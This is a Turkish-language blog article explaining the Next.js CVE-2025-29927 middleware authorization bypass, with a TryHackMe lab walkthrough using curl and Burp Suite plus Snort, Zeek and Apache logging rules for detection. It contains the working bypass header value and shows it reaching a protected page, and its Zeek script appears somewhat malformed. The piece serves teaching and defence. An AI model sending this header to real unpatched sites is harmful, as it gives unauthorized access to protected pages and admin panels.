CVE: Next.js CVE-2025-29927
Next.js framework'ünde keşfedilen CVE-2025-29927 güvenlik açığının detaylı incelemesi, sömürü yöntemleri ve güvenlik önlemleri.
Next.js, React tabanlı bir web geliştirme çatısı olarak milyonlarca geliştirici ve şirket tarafından tercih ediliyor. Yüksek performanslı sayfalar üretme, kullanıcı dostu routing ve kolay ölçeklenebilirlik gibi avantajları sayesinde, e-ticaret sitelerinden kurumsal uygulamalara kadar pek çok alanda yaygın kullanım buluyor. Ancak son dönemde keşfedilen CVE-2025-29927
numaralı güvenlik açığı, Next.js’in kritik bir parçası olan middleware mekanizmasını hedef alarak yetkilendirme gibi temel güvenlik kontrollerini devre dışı bırakmaya imkân tanıyor. Bu durum, potansiyel olarak saldırganların korunan alanlara veya verilere erişebilmesine yol açarak ciddi riskler doğuruyor.
Bu makalede, CVE-2025-29927
güvenlik açığını kapsamlı bir şekilde ele alacak; nasıl ortaya çıktığını, hangi sürümlerin etkilendiğini ve ne gibi zararlar verebileceğini tartışacağız. Ayrıca bu açığı nasıl sömürebileceğimizi (ve buna karşı nasıl önlem alabileceğimizi) örneklerle açıklayarak konuyu bütüncül bir yaklaşımla inceleyeceğiz.
Nasıl Çalışıyor?
Next.js, Vercel tarafından geliştirilen bir web uygulama çatısıdır. React üzerine inşa edilen Next.js, hem Static Site Generation (SSG) hem de Server-Side Rendering (SSR) özelliklerini destekleyerek yüksek performanslı web uygulamaları geliştirmenize imkân tanır.
SSG (Static Site Generation): Sayfalar build anında önceden oluşturulur, böylece kullanıcıya hızlı bir şekilde sunulabilir.
SSR (Server-Side Rendering): Sayfalar, kullanıcı isteği geldiğinde sunucu tarafında oluşturulur ve istemciye gönderilir.
Next.js’in en önemli parçalarından biri de middleware yapısıdır. Middleware, gelen istekleri yakalayıp yönlendirme, güvenlik kontrolü veya çeşitli başlık ekleme (örneğin CSP) gibi işlemler yapma olanağı sunar. Özellikle yetkilendirme (authorization) ve kimlik doğrulama (authentication) kontrollerinde sıklıkla kullanılır.
Bu açık, saldırganın x-middleware-subrequest
başlığını özel bir biçimde manipüle ederek, middleware üzerinde yapılan güvenlik kontrollerini atlatmasına (bypass etmesine) izin veriyor. Yani normalde middleware’in “Erişim engellenmeli mi, kullanıcı yetkili mi?” gibi sorularla kontrol etmesi gereken istekler, bu başlığın doğru değerle gönderilmesi hâlinde denetimden geçmeden doğrudan hedefe ulaşabiliyor.
Etkilenen Versiyonlar
Bu güvenlik açığı, Next.js’in 14.2.25 ve 15.2.3 sürümlerinden ÖNCEKİ bütün sürümlerini etkiliyor. Dolayısıyla 11.x, 12.x, 13.x ve 14.x (14.2.25 öncesi) ile 15.x (15.2.3 öncesi) dahil olmak üzere çok geniş bir yelpaze savunmasız durumdadırr.
Özetle:
14.2.25 ve üzeri (14.x için) güvenli kabul ediliyor.
15.2.3 ve üzeri (15.x için) güvenli kabul ediliyor.
11.1.4’ten 13.5.6’ya kadar (ve hatta 14.2.25 öncesi, 15.2.3 öncesi) tüm sürümler, bu açıktan etkilenebilir durumda.
Etkisi
Next.js, e-ticaret sitelerinden kurumsal uygulamalara, haber portallarından dokümantasyon sitelerine kadar geniş bir kullanım alanına sahip. Bu güvenlik açığının yol açabileceği ana riskler:
Yetkilendirme Bypass: Korunan sayfalara veya yönetici panellerine (örneğin
/admin
gibi) erişimi engellemek için kullanılan middleware, bu açık yüzünden devre dışı bırakılabilir. Sonuç olarak saldırgan, hiçbir yetkiye sahip olmasa bile yönetici paneline girebilir.CSP (Content Security Policy) Bypass: Uygulama, güvenlik başlıklarını (ör. CSP, çerez ayarları) middleware üzerinden ayarlıyorsa, bu da atlatılarak XSS gibi saldırılar daha kolay hâle getirilebilir.
Cache Poisoning ile DoS: Uygulama, konum bazlı veya benzeri kurallarla sayfa yönlendirmeleri yapıyorsa, middleware devreden çıkarılarak yanlış sayfa (404/500) cevapları önbelleğe alınabilir. Bu da sitenin bir kısmının veya tamamının kullanılamaz hâle gelmesine neden olabilir.
Bu etkiler, özellikle hassas verilerin korunduğu finans, e-ticaret veya kurumsal uygulamalarda çok kritik sonuçlar doğurabilir. Bu nedenle mümkün olan en kısa sürede güncelleme yapmak hayati önem taşır.
Detaylı Teknik Açıklama
Middleware’in Mantığı
- Next.js middleware, istek geldiğinde “Bu isteği kabul edecek miyim, yönlendirecek miyim, yoksa reddedecek miyim?” sorularını yanıtlar. Özellikle Authorization (yetkilendirme) senaryolarında, kullanıcı oturum bilgileri veya çerezleri doğrulanarak isteğin ilerleyip ilerlemeyeceğine karar verilir.
x-middleware-subrequest Başlığının Rolü
Açığın kalbinde, x-middleware-subrequest başlığının değeri bulunuyor. Normalde Next.js, kendi iç yapısında döngüsel (sonsuz) isteklere düşmemek için bu başlığı kullanıyor.
Eski sürümlerde, bu başlığın “
middleware
” veya “src/middleware
” gibi belirli değerler alması, isteğin “zaten middleware’den geçmiş” gibi kabul edilmesine yol açıyor.Daha yeni sürümlerde ise, bir sayaç mantığı eklenmiş durumda (örneğin 5 kez middleware değeri geçince middleware atlanıyor). Ancak saldırgan, bu sayacın gerektirdiği kadar middleware ifadesini tekrarlayarak yine middleware’i devre dışı bırakabiliyor.
Yetkilendirme Kontrolünün Atlatılması
Saldırgan, hedef uygulamanın hangi sürümü kullandığını tespit ettikten sonra, uygun başlık değerini göndererek middleware’in çalışmamasını sağlıyor.
Sonuç: Her türlü kontrol, yönlendirme veya header ekleme işlemi atlanmış oluyor.
Neden Bu Kadar Tehlikeli?
- Next.js, milyonlarca kez indirilmiş ve yaygın kullanıma sahip bir çatı. Birçok uygulama, temel güvenlik ve yönlendirme işlemlerini middleware ile çözüyor. Dolayısıyla açığın varlığı, çok sayıda üretim ortamını etkiliyor.
Nasıl Sömürülür ?
Bu güvenlik açığını daha iyi anlamak için TryHackMe üzerinde bulunan ve CVE-2025-29927
bu zaafiyeti barındıran bir laboratuvar çözeceğiz. Zaafiyeli sistemi kendi cihazınızda çalıştırmak isterseniz Yunus Aydın tarafından GitHub’da paylaşılan zaafiyetli uygulamaya bakabilirsiniz.
Bu laboratuvarda amacımız, /protected
gibi korunan bir endpointe x-middleware-subrequest
başlığını kullanarak yetkisiz erişim sağlamaktır.
CVE-2025-29927 açığının temelinde, Next.js middleware’inin
x-middleware-subrequest
başlığı ile atlatılabilmesinden kaynaklandığından bahsetmiştik. Bu yüzden, aslında yapmamız gereken tek şey, HTTP isteğine bu başlığı eklemek olacaktır.
İlk olarak CURL ile daha sonra da Burp Suite ile deneme yapacağız.
1
2
C:\Users\bilal> curl http://10.10.72.67:3000/protected
/
1
2
3
4
5
6
C:\Users\bilal> curl -I http://10.10.72.67:3000/protected
HTTP/1.1 307 Temporary Redirect
location: /
Date: Thu, 27 Mar 2025 17:21:34 GMT
Connection: keep-alive
Keep-Alive: timeout=5
İsteği yaptığımızda herhangi bir yanıt dönmüyor ve header’ları kontrol ettiğimizde bizi kök dizine yönlendirmeye çalıştığını görüyoruz.
Şimdi de x-middleware-subrequest
header’ını ekleyerek isteğimizi gönderelim ve dönen cevabı kontrol edelim.
1
2
C:\Users\bilal>curl -H "x-middleware-subrequest: middleware" http://10.10.72.67:3000/protected
<!DOCTYPE html><html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><link rel="stylesheet" href="/_next/static/css/ff587241ed4bf596.css" crossorigin="" data-precedence="next"/><link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/webpack-9fe8293484f0fd5d.js" crossorigin=""/><script src="/_next/static/chunks/fd9d1056-ffbd49fae2ee76ea.js" async="" crossorigin=""></script><script src="/_next/static/chunks/472-22e55b21ed910619.js" async="" crossorigin=""></script><script src="/_next/static/chunks/main-app-a9a33ea6f7c72b4f.js" async="" crossorigin=""></script><title>Vulnerable Next.js App - CVE-2025-29927</title><meta name="description" content="Demonstration of Next.js middleware vulnerability CVE-2025-29927"/><script src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js" crossorigin="" noModule=""></script></head><body class="bg-thm text-slate-200"><main class="container mx-auto p-10"><header class="mb-5"><h1 class="text-4xl">CVE-2025-29927</h1><nav class="mt-2"><ul class="flex gap-2"><li><a href="/" class="app_link__ouYRV !text-green">Home</a></li><li><a href="/protected" class="app_link__ouYRV">Protected Page</a></li></ul></nav></header><section class="flex flex-col items-center py-10"><p class="flag text-5xl text-green">THM{...}</p></section></main><script src="/_next/static/chunks/webpack-9fe8293484f0fd5d.js" crossorigin="" async=""></script> <SNIP>...</SNIP>
Herhangi bir yetkilendirme mekanizmasına takılmadan olduğunu gibi /protected sayfasının içeriğini okuyabildik.
Şimdi de BurpSuite kullanarak benzer işlemi gerçekleştirelim.
Intercept’i açarak web sitesini ziyaret ediyoruz. Daha sonra Request kısmına x-middleware-subrequest
başlığını ekliyoruz. Ve istek talebini Forward’lıyoruz.
Ve görüldüğü gibi /protected
sayfasını görüntüleyebiliyoruz.
Tespit
Manuel Log Analizi
Sunucu Logları:
Eğer NodeJS gibi bir ortam kullanıyorsanız, request.headers[‘x-middleware-subrequest’] değerini kaydedecek şekilde log ayarlarını güncelleyebilirsiniz.
Apache veya Nginx üzerinden proxy alıyorsanız, bu başlığı kaydetmek için ek yapılandırmalar yapmanız gerekir.
Örneğin, Apache2’de LogFormat direktifinde şu şekilde bir alan ekleyebilirsiniz:
1
LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\" \"%{x-middleware-subrequest}i\"" custom
Bu sayede, gelen isteklerdeki
x-middleware-subrequest
başlığı loglara yansır.Analiz Araçları:
Loglarınızda
x-middleware-subrequest
başlığını aramak içingrep
,awk
,yara
gibi araçları kullanabilirsiniz.Başlığı içeren istekler tespit edildiğinde, bunun CVE-2025-29927 exploit denemesi olabileceğini göz önünde bulundurmalısınız.
Snort ile Tespit
Snort kullanıyorsanız, aşağıdaki kuralı IDS (Intrusion Detection System) olarak ekleyerek bu açığı kullanan istekleri yakalayabilirsiniz:
1
alert tcp any any -> any any (msg: "HTTP 'x-middleware-request' header detected, possible CVE-2025-29927 exploitation"; content:"x-middleware-subrequest"; rawbytes; sid:10000001; rev:1)
Kuralın Mantığı:
content:”x-middleware-subrequest” ifadesi, paketin ham içeriğinde (rawbytes) bu metnin varlığını denetler.
HTTP protokolü katmanına özel bir kural değil, ham veriyi inceliyor. Çünkü Snort, henüz bu özel başlığı “standart” bir HTTP başlığı olarak tanımıyor.
Uygulama Adımları:
/etc/snort/rules/local.rules
dosyasına kuralı ekleyin (sid değerini mevcut kurallarınıza göre ayarlayın).Snort’u yeniden başlatın veya konfigürasyonu yeniden yükleyin.
Snort’u console mode gibi bir modda çalıştırarak uyarıların tetiklenip tetiklenmediğini izleyebilirsiniz:
1
sudo snort -q -l /var/log/snort -i <NETWORK_INTERFACE> -A console -c /etc/snort/snort.conf
Bir istek
x-middleware-subrequest
başlığıyla geldiğinde, Snort bir uyarı (alert) üretecektir.Zeek ile Tespit
Zeek, ağ trafiğini analiz etmek ve tehditleri daha detaylı şekilde tespit etmek için güçlü bir araçtır. CVE-2025-29927’i tespit etmek üzere bir Zeek kuralı (script) şu şekilde yazılabilir:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
module CVE_2025_29927; export { redef enum Log::ID += { LOG }; global log_policy: Log::PolicyHook = Log::IGNORE; event http_header(c: connection, is_orig: bool, name: string, value: string) { if (name == "x-middleware-subrequest" && value == "middleware") Log::write(HTTP::LOG, [ $timestamp=c$start_time, $uid=c$uid, $id=c$id, $note="CVE_2025_29927_Exploit", $msg="Detected HTTP header associated with CVE-2025-29927", $header=name, $value=value ]); notice_info(c, "CVE-2025-29927 Exploit", fmt("The HTTP header '%s' associated with CVE-2025-29927 was detected", value)); } }
Kurulum ve Kullanım:
Bu kodu bir .zeek dosyası olarak kaydedin (örneğin cve_2025_29927.zeek).
local.zeek dosyanıza
@load ./cve_2025_29927.zeek
satırını ekleyerek script’i yükleyin.sudo zeekctl deploy komutu ile Zeek’i yeniden başlatın.
Zeek,
x-middleware-subrequest
başlığını ve değerini gördüğünde “CVE-2025-29927 Exploit” şeklinde bir uyarı oluşturacaktır.
Kaynakça